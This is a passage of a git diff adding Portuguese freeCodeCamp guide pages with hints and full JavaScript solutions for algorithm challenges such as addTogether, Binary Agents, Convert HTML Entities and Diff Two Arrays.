+*   [tipo de](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [objeto de argumentos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Toda vez que você lida com um argumento, você tem que verificar se é um número ou não. Para isso, uma função que lida com essa tarefa salvará seu código repetido.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Ao trabalhar no caso que precisa retornar a função, é aconselhável verificar se o primeiro e único argumento é um número novamente e basear o código nele.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+No caso em que apenas um argumento foi passado, não se preocupe sobre como solicitar entrada para o segundo, apenas faça a definição da função corretamente e as coisas vão funcionar da maneira que deveriam.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function addTogether() { 
+      // Function to check if a number is actually a number 
+      // and return undefined otherwise. 
+      var checkNum = function(num) { 
+        if (typeof num !== 'number') { 
+          return undefined; 
+        } else 
+          return num; 
+      }; 
+ 
+      // Check if we have two parameters, check if they are numbers 
+      // handle the case where one is not 
+      // returns the addition. 
+      if (arguments.length > 1) { 
+        var a = checkNum(arguments[0]); 
+        var b = checkNum(arguments[1]); 
+        if (a === undefined || b === undefined) { 
+          return undefined; 
+        } else { 
+          return a + b; 
+        } 
+      } else { 
+        // If only one parameter was found, returns a new function that expects two 
+        // Store first argument before entering the new function scope 
+        var c = arguments[0]; 
+ 
+        // Check the number again, must be outside the function to about returning an object 
+        // instead of undefined. 
+        if (checkNum(c)) { 
+          // Return function that expect a second argument. 
+          return function(arg2) { 
+            // Check for non-numbers 
+            if (c === undefined || checkNum(arg2) === undefined) { 
+              return undefined; 
+            } else { 
+              // if numbers then add them. 
+              return c + arg2; 
+            } 
+          }; 
+        } 
+      } 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnz/0)
+
+### Explicação do código:
+
+*   Primeiro, crio uma função com o único propósito de verificar se um número é realmente um número e retorna indefinido, se não for. Ele usa **typeof** para verificar.
+*   Verifique se temos dois parâmetros. Em caso positivo, verifique se eles são números ou não, usando a função **checkNum** que criei.
+*   Se eles não estiverem **indefinidos** , adicione-os e retorne a adição. Se algum deles estiver indefinido, retorne indefinido.
+*   No caso de termos apenas um argumento, retornamos uma nova função que espera dois parâmetros. Para isso, armazenamos o primeiro argumento antes de entrar em um novo escopo para evitar que nossos argumentos sejam sobrescritos.
+*   Ainda dentro da grande outra coisa, precisamos verificar o argumento que salvamos, se for um número, então retornamos a função esperando um segundo argumento.
+*   Agora dentro da função que estamos retornando, nós temos que checar os não números novamente como no começo usando **checkNum** se undefined então retornamos, caso contrário os números os adicionam e retornam a adição.
+
+#### Links Relevantes
+
+*   [tipo de](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [objeto de argumentos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function addTogether() { 
+      var args = new Array(arguments.length); 
+      //Storing the arguments in an array 
+      for(var i = 0; i < args.length; ++i) { 
+          args[i] = arguments[i]; 
+        } 
+     //Check for the arguments length 
+     if(args.length == 2){ 
+        //If there are two arguments,check for the type of both arguments 
+        //Use typeof to check the type of the argument(both should be numbers) 
+        if(typeof args[0] !== 'number' || typeof args[1] !=='number' ){ 
+          return undefined; 
+          } 
+        return args[0]+args[1]; 
+       } 
+     //When only one argument is provided 
+     if(args.length == 1){ 
+         a= args[0]; 
+         //Check the  argument using typeof 
+        if(typeof a!=='number'){ 
+            return undefined; 
+          } 
+        else{ 
+           //Making use of closures 
+           return function(b){ 
+           //Checking the second argument 
+             if(typeof b !=='number'){ 
+               return undefined; 
+               } 
+             else 
+               return a+b; 
+              }; 
+          } 
+        } 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLoA/0)
+
+### Explicação do código:
+
+*   Primeiro armazene os argumentos em uma matriz, criando uma matriz usando o método construtor.
+*   Adiciona cada argumento ao novo array.
+*   Em seguida, verifique o comprimento do novo array, pois precisamos saber se temos o suficiente ou não.
+*   Verifique o tipo dos argumentos usando `typeof` , pois ambos devem ser números.
+*   Retorna indefinido se algum deles não é um número, ou retorna a soma deles se forem.
+*   Se houvesse apenas um argumento, ainda verificamos o tipo depois de armazená-lo em uma nova variável e retornando uma nova função ou indefinida.
+
+#### Links Relevantes
+
+*   [tipo de](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [objeto de argumentos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+```javascript
+    //jshint esversion: 6 
+    function addTogether() { 
+      var args = Array.from(arguments); 
+      return args.some(n => typeof n !== 'number') ? 
+        undefined: 
+        args.length > 1 ? 
+          args.reduce((acc, n) => acc += n, 0): 
+          (n) => typeof n === "number" ? 
+            n + args[0]: 
+            undefined; 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLoB/0)
+
+### Explicação do código:
+
+*   Primeiro eu percorrer os argumentos e verificar argumentos que não são um número e retornar indefinido
+*   Se não for eu, então, verifique se o comprimento dos argumentos está acima de 1, se é somar os argumentos usando Array.prototype.reduce
+*   Retornar uma função que verifica se o argumento passado é um número e soma, se não retornar indefinido
+
+#### Links Relevantes
+
+*   [Array.prototype.reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Array.prototype.some](http://forum.freecodecamp.com/t/javascript-array-prototype-some/14304)
+*   [Array.from](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+
+> **NOTA:** Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** à página wiki. (Por favor, não remova quaisquer nomes de usuário existentes.)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md
new file mode 100644
index 0000000000..3aa44bbeb7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md
@@ -0,0 +1,164 @@
+---
+title: Binary Agents
+localeTitle: Agentes Binários
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/7/70cf3cc5462f69c2f770ad42d0f24f240a8d8f13.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+## Explicação do Problema:
+
+Este problema é muito direto, você receberá uma string que representará uma sentença no código binário, e você precisará traduzir isso em palavras. Não há maneira direta de fazer isso, então você terá que traduzir duas vezes.
+
+### Links Relevantes
+
+*   [String.prototype.charCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você deve primeiro converter de **binário** para **decimal** antes de traduzir esses valores em caracteres.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+As coisas são mais fáceis quando se concentra em partes menores, divida a entrada para se concentrar em uma letra no momento.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Certifique-se de que, cada vez que transcodificar um caractere de binário para decimal, você redefina qualquer variável usada para controlar os caracteres. Também não se esqueça de transformar tudo de volta em uma string.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function binaryAgent(str) { 
+      biString = str.split(' '); 
+      uniString = []; 
+ 
+    /*using the radix (or base) parameter in parseInt, we can convert the binary 
+      number to a decimal number while simultaneously converting to a char*/ 
+ 
+      for(i=0;i < biString.length;i++){ 
+        uniString.push(String.fromCharCode(parseInt(biString[i], 2))); 
+      } 
+ 
+      // we then simply join the string 
+      return uniString.join(''); 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnm/0)
+
+# Explicação do código:
+
+*   Separe a string em uma matriz de strings separadas por espaço em branco.
+*   Crie algumas variáveis ​​que serão necessárias ao longo do caminho, os nomes são auto-explicativos para a maior parte.
+*   Iterar através de cada seqüência binária no novo array.
+*   Converta em decimal usando parseInt ( _binário_ , 2) (com o segundo parâmetro informamos em que base nossos números estão atualmente)
+*   No final, retornamos a mensagem convertida.
+
+## Links Relevantes
+
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [parseInt](http://forum.freecodecamp.com/t/javascript-parseint/14686)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function binaryAgent(str) { 
+      // Separate the binary code by space. 
+      str = str.split(' '); 
+      var power; 
+      var decValue = 0; 
+      var sentence = ''; 
+ 
+      // Check each binary number from the array. 
+      for (var s = 0; s < str.length; s++) { 
+        // Check each bit from binary number 
+        for (var t = 0; t < str[s].length; t++) { 
+          // This only takes into consideration the active ones. 
+          if (str[s][t] == 1) { 
+            // This is quivalent to 2 ** position 
+            power = Math.pow(2, +str[s].length - t - 1); 
+            decValue += power; 
+ 
+            // Record the decimal value by adding the number to the previous one. 
+          } 
+        } 
+ 
+        // After the binary number is converted to decimal, convert it to string and store 
+        sentence += (String.fromCharCode(decValue)); 
+ 
+        // Reset decimal value for next binary number. 
+        decValue = 0; 
+      } 
+ 
+      return sentence; 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLno/0)
+
+# Explicação do código
+
+*   Para cada uma dessas cadeias binárias, verifique as que estão e ignore os zeros.
+*   Para aqueles que são um ou ativos, então convertê-los em decimal, isso leva em conta a posição e a potência correta para a qual ele precisa ser elevado.
+*   Armazene a energia na variável de **energia** , adicionando-a a qualquer variável anterior na variável **decValue** . Essa variável adicionará e adicionará os poderes dos ativos até o final do loop e retornará o número decimal.
+*   Converta o decimal final fora do loop interno e, em seguida, converta-o em ASCII e salve-o em **sentença** junto com qualquer outra sequência de texto já convertida e armazenada.
+*   Redefina a variável **decValor** para evitar decimais incorretos antes de continuar para o loop externo.
+
+## Links Relevantes
+
+*   [Math.pow](http://forum.freecodecamp.com/t/javascript-math-pow/14685)
+*   String.length
+*   [Título do link 3](http://example.com)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+```javascript
+    function binaryAgent(str) { 
+      return String.fromCharCode(...str.split(" ").map(function(char){ return parseInt(char, 2); })); 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnp/0)
+
+# Explicação do código
+
+*   Primeiro usamos o `split()` para poder trabalhar em cada caractere como um elemento Array
+*   Em seguida, use `map()` para processar cada elemento de binário para decimal usando `pareseInt()`
+*   Por último, podemos usar `String.fromCharCode()` para converter cada número ASCII no caractere correspondente
+*   No entanto `fromCharCode()` espera uma série de números em vez de uma matriz! Podemos usar o ES6 Spread Operator para passar uma matriz de números como números individuais. Veja aqui para mais informações; [Operador de spread](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## Links Relevantes
+
+*   [Array.prototype.map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md
new file mode 100644
index 0000000000..28aed979ab
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md
@@ -0,0 +1,154 @@
+---
+title: Convert HTML Entities
+localeTitle: Converter entidades HTML
+---
+![Entidades HTML e '<> "](//discourse-user-assets.s3.amazonaws.com/original/2X/f/fc44d1dfbd3910e574cdedb0f05162f65b4cb7c4.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+*   Você tem que criar um programa que irá converter entidades HTML de string para suas entidades HTML correspondentes. Há apenas alguns, então você pode usar métodos diferentes.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Você pode usar Expressões regulares, mas não o fiz neste caso.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Você se beneficiará de um gráfico com todas as entidades html para saber quais são as certas para colocar.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Você deve separar a string e trabalhar com cada caractere para converter os caracteres corretos e depois juntar tudo de volta.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function convertHTML(str) { 
+      // Split by character to avoid problems. 
+ 
+      var temp = str.split(''); 
+ 
+      // Since we are only checking for a few HTML elements I used a switch 
+ 
+      for (var i = 0; i < temp.length; i++) { 
+        switch (temp[i]) { 
+          case '<': 
+            temp[i] = '&lt;'; 
+            break; 
+          case '&': 
+            temp[i] = '&amp;'; 
+            break; 
+          case '>': 
+            temp[i] = '&gt;'; 
+            break; 
+          case '"': 
+            temp[i] = '&quot;'; 
+            break; 
+          case "'": 
+            temp[i] = "&apos;"; 
+            break; 
+        } 
+      } 
+ 
+      temp = temp.join(''); 
+      return temp; 
+    } 
+ 
+    //test here 
+    convertHTML("Dolce & Gabbana"); 
+```
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+#### Links Relevantes
+
+*   [str.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.join ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+*   [mudar a indicação](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/switch)
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnP/0)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function convertHTML(str) { 
+ //Chaining of replace method with different arguments 
+  str = str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;').replace(/'/g,"&apos;"); 
+ return str; 
+ } 
+ 
+ // test here 
+ convertHTML("Dolce & Gabbana"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnQ/0)
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+#### Links Relevantes
+
+*   [str.replace ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+*   [Expressões regulares](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+```javascript
+    function convertHTML(str) { 
+      // Use Object Lookup to declare as many HTML entities as needed. 
+      htmlEntities={ 
+        '&':'&amp;', 
+        '<':'&lt;', 
+        '>':'&gt;', 
+        '"':'&quot;', 
+        '\'':"&apos;" 
+      }; 
+      //Use map function to return a filtered str with all entities changed automatically. 
+      return str.split('').map(entity => htmlEntities[entity] || entity).join(''); 
+    } 
+ 
+    // test here 
+    convertHTML("Dolce & Gabbana"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnR/0)
+
+### Explicação do código:
+
+*   Crie um objeto para usar a funcionalidade de pesquisa para encontrar facilmente os caracteres.
+*   Divida a string original por caracteres e use o mapa para verificar a entidade html alterada ou use a mesma. Alternativamente, você pode usar o `str.replace(/&|<|>|"|'/gi` .
+*   A função a é adicionada, que é o que retorna a entidade convertida ou a original, se não houver conversão. Se você for a rota regex, terá que retornar os hits correspondentes. `return html[entity];`
+*   Por fim, juntamos todos os personagens novamente.
+
+**Note** que se você foi a rota regex, então você não precisa se juntar a nada, apenas certifique-se de retornar toda a operação ou salvá-lo em uma variável e depois devolvê-lo.
+
+#### Links Relevantes
+
+*   [str.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.map ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [arr.join ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md
new file mode 100644
index 0000000000..3c332320f1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md
@@ -0,0 +1,151 @@
+---
+title: Diff Two Arrays
+localeTitle: Diff Two Arrays
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/24043ff6eaf64c58ca15936ec29bd7c22809c9de.gif)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Marque duas matrizes e retorne uma nova matriz que contenha apenas os itens que não estão em nenhuma das matrizes originais.
+
+#### Links Relevantes
+
+*   [for Loop (Devdocs)](https://devdocs.io/javascript/statements/for)
+*   [Array.prototype.includes (Devdocs)](https://devdocs.io/javascript/global_objects/array/includes)
+*   [Array.prototype.filter (Devdocs)](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.concat (Devdocs)](https://devdocs.io/javascript/global_objects/array/concat)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Mesclar a lista para facilitar a comparação de funções.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Use o filtro para obter o novo array, você precisará criar uma função de retorno de chamada.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+A melhor maneira de executar a função de retorno de chamada é verificar se o número da nova matriz mesclada não está nos **dois** arrays originais e retorná-lo.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução Básica de Código (Solução Imperativa):
+
+```javascript
+    function diffArray(arr1, arr2) { 
+      var newArr = []; 
+ 
+      function onlyInFirst(first, second) { 
+      // Looping through an array to find elements that don't exist in another array 
+        for (var i=0;i<first.length;i++) { 
+          if (second.indexOf(first[i]) === -1) { 
+            // Pushing the elements unique to first to newArr 
+            newArr.push(first[i]); 
+          } 
+        } 
+      } 
+ 
+      onlyInFirst(arr1, arr2); 
+      onlyInFirst(arr2, arr1); 
+ 
+      return newArr; 
+    } 
+ 
+    diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLme/0)
+
+### Explicação do código:
+
+Leia os comentários no código.
+
+#### Links Relevantes
+
+*   [for Loop (Devdocs)](https://devdocs.io/javascript/statements/for)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário (Solução Declarativa):
+
+```javascript
+    function diffArray(arr1, arr2) { 
+      return arr1 
+        .concat(arr2) 
+        .filter( 
+            item => !arr1.includes(item) || !arr2.includes(item) 
+        ) 
+    } 
+ 
+    diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CNYb/0)
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+#### Links Relevantes
+
+*   [Array.prototype.concat (Devdocs)](https://devdocs.io/javascript/global_objects/array/concat)
+*   [Array.prototype.filter (Devdocs)](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.includes (Devdocs)](https://devdocs.io/javascript/global_objects/array/includes)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código (solução declarativa):
+```
+function diffArray(arr1, arr2) { 
+    return arr1 
+      .filter(el => !arr2.includes(el)) 
+      .concat( 
+        arr2.filter(el => !arr1.includes(el)) 
+      ) 
+ } 
+ 
+ diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CNYU/0)
+
+### Explicação do código:
+
+Explique a solução aqui e adicione links relevantes
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Alternativa de Solução de Código Avançado (Solução Declarativa):
